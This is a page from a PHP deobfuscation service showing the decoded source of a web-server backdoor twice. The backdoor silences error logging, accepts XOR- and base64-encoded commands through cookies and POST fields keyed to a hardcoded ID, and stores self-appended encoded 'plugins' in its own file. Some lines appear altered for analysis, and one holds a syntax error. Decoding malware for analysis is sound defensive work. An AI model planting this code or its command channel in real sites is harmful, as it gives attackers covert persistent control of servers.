Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php if (!defined('stream_context_create ')) { define('stream_context_create ', 1..

Decoded Output download

<?php 
 
if (!defined('stream_context_create ')) { 
    define('stream_context_create ', 1); 
    @ini_set('error_log', NULL); 
    @ini_set('log_errors', 0); 
    @ini_set('max_execution_time', 0); 
    @error_reporting(0); 
    @set_time_limit(0); 
    if (!defined("PHP_EOL")) { 
        define("PHP_EOL", "
"); 
    } 
    if (!defined('file_put_contents ')) { 
        define('file_put_contents ', 1); 
        $uqnxtj = 'c0a926a1-336f-4287-960a-39125fee9913'; 
        global $uqnxtj; 
        function wopfcy($csapeyvhshpvsojolo) 
        { 
            if (strlen($csapeyvhshpvsojolo) < 4) { 
                return ""; 
            } 
            $ovauxod = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/="; 
            $bujhhiq = str_split($ovauxod); 
            $bujhhiq = array_flip($bujhhiq); 
            $csapeyvhshp = 0; 
            $zemppaprjwwj = ""; 
            $csapeyvhshpvsojolo = preg_replace("~[^A-Za-z0-9\+\/\=]~", "", $csapeyvhshpvsojolo); 
            do { 
                $erzefx = $bujhhiq[$csapeyvhshpvsojolo[$csapeyvhshp++]]; 
                $csapeyvhshpfgulxm = $bujhhiq[$csapeyvhshpvsojolo[$csapeyvhshp++]]; 
                $zjrviwa = $bujhhiq[$csapeyvhshpvsojolo[$csapeyvhshp++]]; 
                $ejoiqebw = $bujhhiq[$csapeyvhshpvsojolo[$csapeyvhshp++]]; 
                $hyoedias = ($erzefx << 2) | ($csapeyvhshpfgulxm >> 4); 
                $uzyrkk = (($csapeyvhshpfgulxm & 15) << 4) | ($zjrviwa >> 2); 
                $wxpwlhu = (($zjrviwa & 3) << 6) | $ejoiqebw; 
                $zemppaprjwwj = $zemppaprjwwj . chr($hyoedias); 
                if ($zjrviwa != 64) { 
                    $zemppaprjwwj = $zemppaprjwwj . chr($uzyrkk); 
                } 
                if ($ejoiqebw != 64) { 
                    $zemppaprjwwj = $zemppaprjwwj . chr($wxpwlhu); 
                } 
            } while ($csapeyvhshp < strlen($csapeyvhshpvsojolo)); 
            return $zemppaprjwwj; 
        } 
        if (!function_exists('file_put_contents')) { 
            function file_put_contents($zemppa, $csapeycdidn, $csapeyvhshphisekkx = False) 
            { 
                print_r("Fuck file_put_contents"); 
                $ueehtpj = $csapeyvhshphisekkx == 8 ? 'a' : 'w'; 
                $csapey = @fopen($zemppa, $ueehtpj); 
                if ($csapey === False) { 
                    return 0; 
                } else { 
                    if (is_array($csapeycdidn)) 
                        $csapeycdidn = implode($csapeycdidn); 
                    $weaqwtw = fwrite($csapey, $csapeycdidn); 
                    fclose($csapey); 
                    return $weaqwtw; 
                } 
            } 
        } 
        if (!function_exists('file_get_contents')) { 
            function file_get_contents($eqgmat) 
            { 
                $wtxcqu = fopen($eqgmat, "r"); 
                $aneofn = fread($wtxcqu, filesize($eqgmat)); 
                fclose($wtxcqu); 
                return $aneofn; 
            } 
        } 
        function djiigrjp() 
        { 
            return trim(preg_replace("/\(.*\$/", '', __FILE__)); 
        } 
        function copcym($kqmlnry, $csapeyvhshpewgiuji) 
        { 
            $csapeycdidndlxghp = ""; 
            for ($csapeyvhshp = 0; $csapeyvhshp < strlen($kqmlnry); ) { 
                for ($csapeynkicztm = 0; $csapeynkicztm < strlen($csapeyvhshpewgiuji) && $csapeyvhshp < strlen($kqmlnry); $csapeynkicztm++, $csapeyvhshp++) { 
                    $csapeycdidndlxghp .= chr(ord($kqmlnry[$csapeyvhshp]) ^ ord($csapeyvhshpewgiuji[$csapeynkicztm])); 
                } 
            } 
            return $csapeycdidndlxghp; 
        } 
        function wbyplcyx($kqmlnry, $csapeyvhshpewgiuji) 
        { 
            global $uqnxtj; 
            return copcym(copcym($kqmlnry, $csapeyvhshpewgiuji), $uqnxtj); 
        } 
        function rsxomdzz($kqmlnry, $csapeyvhshpewgiuji) 
        { 
            global $uqnxtj; 
            return copcym(copcym($kqmlnry, $uqnxtj), $csapeyvhshpewgiuji); 
        } 
        function vugukurf() 
        { 
            $zemppagdprzqg = @file_get_contents(djiigrjp()); 
            $hvirtr = strpos($zemppagdprzqg, md5(djiigrjp())); 
            if ($hvirtr !== FALSE) { 
                $oawlezfl = substr($zemppagdprzqg, $hvirtr + 32); 
                $zdsfjnqc = @unserialize(wbyplcyx(rawurldecode($oawlezfl), md5(djiigrjp()))); 
            } else { 
                $zdsfjnqc = array(); 
            } 
            return $zdsfjnqc; 
        } 
        function muhzev($zdsfjnqc) 
        { 
            $ukqbehn = rawurlencode(rsxomdzz(@serialize($zdsfjnqc), md5(djiigrjp()))); 
            $zemppagdprzqg = @file_get_contents(djiigrjp()); 
            $hvirtr = strpos($zemppagdprzqg, md5(djiigrjp())); 
            if ($hvirtr !== FALSE) { 
                $efgouh = substr($zemppagdprzqg, $hvirtr + 32); 
                $zemppagdprzqg = str_replace($efgouh, $ukqbehn, $zemppagdprzqg); 
            } else { 
                $zemppagdprzqg = $zemppagdprzqg . "

//" . md5(djiigrjp()) . $ukqbehn; 
            } 
            @file_put_contents(djiigrjp(), $zemppagdprzqg); 
        } 
        function ewxmpe($midbassj, $omoqaula) 
        { 
            $zdsfjnqc = vugukurf(); 
            $zdsfjnqc[$midbassj] = wopfcy($omoqaula); 
            muhzev($zdsfjnqc); 
        } 
        function kluposw($midbassj) 
        { 
            $zdsfjnqc = vugukurf(); 
            unset($zdsfjnqc[$midbassj]); 
            muhzev($zdsfjnqc); 
        } 
        function kanwfey($midbassj = NULL) 
        { 
            foreach (vugukurf() as $vpnhxd => $csapeynkicztmkhjesm) { 
                if ($midbassj) { 
                    if (strcmp($midbassj, $vpnhxd) == 0) { 
                        print_r ("Line: 137"); 
                        print_r ($csapeynkicztmkhjesm); 
                        break; 
                    } 
                } else { 
                    print_r ("Line: 142"); 
                    print_r ($csapeynkicztmkhjesm); 
                } 
            } 
        } 
        foreach (array_merge($_COOKIE, $_POST) as $xoemfn => $kqmlnry) { 
            $kqmlnry = @unserialize(wbyplcyx(wopfcy($kqmlnry), $xoemfn)); 
            if (isset($kqmlnry['ak']) && $uqnxtj == $kqmlnry['ak']) { 
                if ($kqmlnry['a']: == 'i') { 
                    $csapeyvhshp = array('pv' => @phpversion(), 'sv' => '2.0-1', 'ak' => $kqmlnry['ak'], ); 
                    echo @serialize($csapeyvhshp); 
                    exit; 
                } elseif ($kqmlnry['a'] == 'e') { 
                    print_r ("Line: 155"); 
                    print_r ($kqmlnry['d']); 
                } elseif ($kqmlnry['a'] == 'plugin') { 
                    if ($kqmlnry['sa'] == 'add') { 
                        ewxmpe($kqmlnry['p'], $kqmlnry['d']); 
                    } elseif ($kqmlnry['sa'] == 'rem') { 
                        kluposw($kqmlnry['p']); 
                    } 
                } 
                echo $kqmlnry['ak']; 
                exit(); 
            } 
        } 
        kanwfey(); 
    } 
} ?>

Did this file decode correctly?

Original Code

<?php

if (!defined('stream_context_create ')) {
    define('stream_context_create ', 1);
    @ini_set('error_log', NULL);
    @ini_set('log_errors', 0);
    @ini_set('max_execution_time', 0);
    @error_reporting(0);
    @set_time_limit(0);
    if (!defined("PHP_EOL")) {
        define("PHP_EOL", "\n");
    }
    if (!defined('file_put_contents ')) {
        define('file_put_contents ', 1);
        $uqnxtj = 'c0a926a1-336f-4287-960a-39125fee9913';
        global $uqnxtj;
        function wopfcy($csapeyvhshpvsojolo)
        {
            if (strlen($csapeyvhshpvsojolo) < 4) {
                return "";
            }
            $ovauxod = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=";
            $bujhhiq = str_split($ovauxod);
            $bujhhiq = array_flip($bujhhiq);
            $csapeyvhshp = 0;
            $zemppaprjwwj = "";
            $csapeyvhshpvsojolo = preg_replace("~[^A-Za-z0-9\+\/\=]~", "", $csapeyvhshpvsojolo);
            do {
                $erzefx = $bujhhiq[$csapeyvhshpvsojolo[$csapeyvhshp++]];
                $csapeyvhshpfgulxm = $bujhhiq[$csapeyvhshpvsojolo[$csapeyvhshp++]];
                $zjrviwa = $bujhhiq[$csapeyvhshpvsojolo[$csapeyvhshp++]];
                $ejoiqebw = $bujhhiq[$csapeyvhshpvsojolo[$csapeyvhshp++]];
                $hyoedias = ($erzefx << 2) | ($csapeyvhshpfgulxm >> 4);
                $uzyrkk = (($csapeyvhshpfgulxm & 15) << 4) | ($zjrviwa >> 2);
                $wxpwlhu = (($zjrviwa & 3) << 6) | $ejoiqebw;
                $zemppaprjwwj = $zemppaprjwwj . chr($hyoedias);
                if ($zjrviwa != 64) {
                    $zemppaprjwwj = $zemppaprjwwj . chr($uzyrkk);
                }
                if ($ejoiqebw != 64) {
                    $zemppaprjwwj = $zemppaprjwwj . chr($wxpwlhu);
                }
            } while ($csapeyvhshp < strlen($csapeyvhshpvsojolo));
            return $zemppaprjwwj;
        }
        if (!function_exists('file_put_contents')) {
            function file_put_contents($zemppa, $csapeycdidn, $csapeyvhshphisekkx = False)
            {
                print_r("Fuck file_put_contents");
                $ueehtpj = $csapeyvhshphisekkx == 8 ? 'a' : 'w';
                $csapey = @fopen($zemppa, $ueehtpj);
                if ($csapey === False) {
                    return 0;
                } else {
                    if (is_array($csapeycdidn))
                        $csapeycdidn = implode($csapeycdidn);
                    $weaqwtw = fwrite($csapey, $csapeycdidn);
                    fclose($csapey);
                    return $weaqwtw;
                }
            }
        }
        if (!function_exists('file_get_contents')) {
            function file_get_contents($eqgmat)
            {
                $wtxcqu = fopen($eqgmat, "r");
                $aneofn = fread($wtxcqu, filesize($eqgmat));
                fclose($wtxcqu);
                return $aneofn;
            }
        }
        function djiigrjp()
        {
            return trim(preg_replace("/\(.*\$/", '', __FILE__));
        }
        function copcym($kqmlnry, $csapeyvhshpewgiuji)
        {
            $csapeycdidndlxghp = "";
            for ($csapeyvhshp = 0; $csapeyvhshp < strlen($kqmlnry); ) {
                for ($csapeynkicztm = 0; $csapeynkicztm < strlen($csapeyvhshpewgiuji) && $csapeyvhshp < strlen($kqmlnry); $csapeynkicztm++, $csapeyvhshp++) {
                    $csapeycdidndlxghp .= chr(ord($kqmlnry[$csapeyvhshp]) ^ ord($csapeyvhshpewgiuji[$csapeynkicztm]));
                }
            }
            return $csapeycdidndlxghp;
        }
        function wbyplcyx($kqmlnry, $csapeyvhshpewgiuji)
        {
            global $uqnxtj;
            return copcym(copcym($kqmlnry, $csapeyvhshpewgiuji), $uqnxtj);
        }
        function rsxomdzz($kqmlnry, $csapeyvhshpewgiuji)
        {
            global $uqnxtj;
            return copcym(copcym($kqmlnry, $uqnxtj), $csapeyvhshpewgiuji);
        }
        function vugukurf()
        {
            $zemppagdprzqg = @file_get_contents(djiigrjp());
            $hvirtr = strpos($zemppagdprzqg, md5(djiigrjp()));
            if ($hvirtr !== FALSE) {
                $oawlezfl = substr($zemppagdprzqg, $hvirtr + 32);
                $zdsfjnqc = @unserialize(wbyplcyx(rawurldecode($oawlezfl), md5(djiigrjp())));
            } else {
                $zdsfjnqc = array();
            }
            return $zdsfjnqc;
        }
        function muhzev($zdsfjnqc)
        {
            $ukqbehn = rawurlencode(rsxomdzz(@serialize($zdsfjnqc), md5(djiigrjp())));
            $zemppagdprzqg = @file_get_contents(djiigrjp());
            $hvirtr = strpos($zemppagdprzqg, md5(djiigrjp()));
            if ($hvirtr !== FALSE) {
                $efgouh = substr($zemppagdprzqg, $hvirtr + 32);
                $zemppagdprzqg = str_replace($efgouh, $ukqbehn, $zemppagdprzqg);
            } else {
                $zemppagdprzqg = $zemppagdprzqg . "\n\n//" . md5(djiigrjp()) . $ukqbehn;
            }
            @file_put_contents(djiigrjp(), $zemppagdprzqg);
        }
        function ewxmpe($midbassj, $omoqaula)
        {
            $zdsfjnqc = vugukurf();
            $zdsfjnqc[$midbassj] = wopfcy($omoqaula);
            muhzev($zdsfjnqc);
        }
        function kluposw($midbassj)
        {
            $zdsfjnqc = vugukurf();
            unset($zdsfjnqc[$midbassj]);
            muhzev($zdsfjnqc);
        }
        function kanwfey($midbassj = NULL)
        {
            foreach (vugukurf() as $vpnhxd => $csapeynkicztmkhjesm) {
                if ($midbassj) {
                    if (strcmp($midbassj, $vpnhxd) == 0) {
                        print_r ("Line: 137");
                        print_r ($csapeynkicztmkhjesm);
                        break;
                    }
                } else {
                    print_r ("Line: 142");
                    print_r ($csapeynkicztmkhjesm);
                }
            }
        }
        foreach (array_merge($_COOKIE, $_POST) as $xoemfn => $kqmlnry) {
            $kqmlnry = @unserialize(wbyplcyx(wopfcy($kqmlnry), $xoemfn));
            if (isset($kqmlnry['ak']) && $uqnxtj == $kqmlnry['ak']) {
                if ($kqmlnry['a']: == 'i') {
                    $csapeyvhshp = array('pv' => @phpversion(), 'sv' => '2.0-1', 'ak' => $kqmlnry['ak'], );
                    echo @serialize($csapeyvhshp);
                    exit;
                } elseif ($kqmlnry['a'] == 'e') {
                    print_r ("Line: 155");
                    print_r ($kqmlnry['d']);
                } elseif ($kqmlnry['a'] == 'plugin') {
                    if ($kqmlnry['sa'] == 'add') {
                        ewxmpe($kqmlnry['p'], $kqmlnry['d']);
                    } elseif ($kqmlnry['sa'] == 'rem') {
                        kluposw($kqmlnry['p']);
                    }
                }
                echo $kqmlnry['ak'];
                exit();
            }
        }
        kanwfey();
    }
}

Function Calls

None

Variables

None

Stats

MD5 ba97fb1af3bb28dd48728591f6fe3ba1
Eval Count 0
Decode Time 80 ms